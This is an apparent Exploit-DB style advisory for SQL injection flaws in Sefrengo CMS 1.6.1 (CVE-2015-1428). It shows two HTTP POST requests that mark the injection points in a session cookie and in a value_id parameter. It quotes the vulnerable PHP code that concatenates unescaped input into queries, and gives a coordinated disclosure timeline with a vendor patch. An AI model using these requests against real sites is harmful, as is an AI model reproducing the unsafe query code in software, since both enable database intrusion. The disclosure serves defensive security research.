Sefrengo CMS 1.6.1 - Multiple SQL Injections

# Exploit Title: Sefrengo CMS v1.6.1 - Multiple SQL Injection Vulnerabilities 

# Google Dork: N/A

# Date: 01/26/2015

# Exploit Author: Nguyen Hung Tuan (tuan.h.nguyen@itas.vn) & ITAS Team (www.itas.vn)

# Vendor Homepage: http://www.sefrengo.org/ 

# Software Link: http://forum.sefrengo.org/index.php?showtopic=3368 (https://github.com/sefrengo-cms/sefrengo-1.x/tree/22c0d16bfd715631ed317cc990785ccede478f07)

# Version: Sefrengo CMS v1.6.1

# Tested on: Linux

# CVE : CVE-2015-1428







::PROOF OF CONCEPT::



Link 1:





POST /sefrengo/backend/main.php?idcatside= HTTP/1.1

Host: itaslab.vn

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://itaslab.vn/sefrengo/backend/main.php

Cookie: browserspy_js=1; sefrengo=[SQL INJECTION HERE]

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 707

username=abc&password=abc&Submit=Login+%C2%BB&sid_sniffer=5%2C5%2Ctrue%2Cfalse%2Cfalse%2Cfalse%2

Ctrue%2Cfalse%2Ctrue%2Ctrue%2Ctrue%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2C

false%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse

%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2C1.5%2Ctrue%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse

%2Cfalse%2Ctrue%2Ctrue%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse

%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse

%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Ctrue%2Ctrue%2Cfalse&response=

&area=con





- Vulnerable file:       /backend/external/phplib/ct_sql.inc

- Vulnerable function:   function ac_get_value($id, $name)

- Vulnerable parameter:  $id

- Vulnerable code: 

function ac_get_value($id, $name) {

	global $cms_db;

    $this->db->query(sprintf("select val from %s where sid  = '%s' and name = '%s'",

      $cms_db['sessions'],

      $id,

      addslashes($name)));

    if ($this->db->next_record()) {

      $str  = $this->db->f("val");

      $str2 = base64_decode( $str );



      if ( ereg("^".$name.":.*", $str2) ) {

         $str = ereg_replace("^".$name.":", "", $str2 );

      } else {



        $str3 = stripslashes( $str );



        if ( ereg("^".$name.":.*", $str3) ) {

          $str = ereg_replace("^".$name.":", "", $str3 );

        } else {



          switch ( $this->encoding_mode ) {

            case "slashes":

              $str = stripslashes($str);

            break;



            case "base64":

            default:

              $str = base64_decode($str);

          }

        }

      };

      return $str;

    };

    return "";

}







Link 2:



POST /sefrengo/backend/main.php HTTP/1.1

Host: research-itasvn.rhcloud.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://itaslab.vn/sefrengo/backend/main.php?area=settings&action=edit&vid=4491

Cookie: browserspy_js=1; sefrengo=8167bb07461d09b026b28179f7863562

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 112

value_to_save=45&sefrengo=8167bb07461d09b026b28179f7863562&area=settings&action=save_value&value_id=[SQL INJECTION HERE]&x=6&y=8





- Vulnerable file:       /backend/inc/class.values_ct.php

- Vulnerable function:   function set_value($mixed)

- Vulnerable parameter:  $mixed['id']

- Vulnerable code: 

function set_value($mixed)

{

        global $cms_db, $db;

        //build query



        $sql_group = (empty($mixed['group'])) ? 0: ''.$mixed['group'];

        $sql_client = (empty($mixed['client'])) ? '': 'AND idclient IN ('. $mixed['client'] .')';

        $sql_lang = (empty($mixed['lang'])) ? '': 'AND idlang IN ('. $mixed['lang'] .')';

        $sql_key = (empty($mixed['key'])) ? '': 'AND V.key1 = "'. $mixed['key'] . '" ';

        $sql_key2 = (empty($mixed['key2'])) ? '': 'AND V.key2 = "'. $mixed['key2'] . '" ';

        $sql_key3 = (empty($mixed['key3'])) ? '': 'AND V.key3 = "'. $mixed['key3'] . '" ';

        $sql_key4 = (empty($mixed['key4'])) ? '': 'AND V.key4 = "'. $mixed['key4'] . '" ';

        $sql_id = (empty($mixed['id'])) ? "": "AND V.idvalues = '". $mixed['id'] . "' ";





        $sql = "SELECT 		*

                        FROM		". $cms_db['values'] ."  AS V

                        WHERE		V.group_name IN ('$sql_group')

                        $sql_client $sql_lang

                        $sql_key  $sql_key2  $sql_key3  $sql_key4 $sql_id";



        //die($sql);

        $db -> query($sql);



        $count_rows = $db ->num_rows();



        if($count_rows > 1){

                echo $sql .'<br> Fehler in Klasse "cms_value_ct". Es wurde mehr als ein Ergebnis gefunden. Anfrage ist nicht eindeutig';

                exit;

        }

        elseif($count_rows == 1){

                $db -> next_record();

                $mixed['id'] = $db -> f('idvalues');

                //echo "update";

                $this -> _update_by_id($mixed);

        }

        else{

                $this -> insert($mixed);

        }



}



::DISCLOSURE::

+ 01/08/2015: Send the detail of vulnerabilities to vendor and Vendor confirmed

+ 01/25/2015: Vendor releases patch

+ 01/26/2015: ITAS Team publishes information



::REFERENCE::

- Detail and videos: http://www.itas.vn/news/itas-team-found-out-multiple-sql-injection-vulnerabilities-in-sefrengo-cms-v1-6-1-74.html

- https://github.com/sefrengo-cms/sefrengo-1.x/commit/22c0d16bfd715631ed317cc990785ccede478f07









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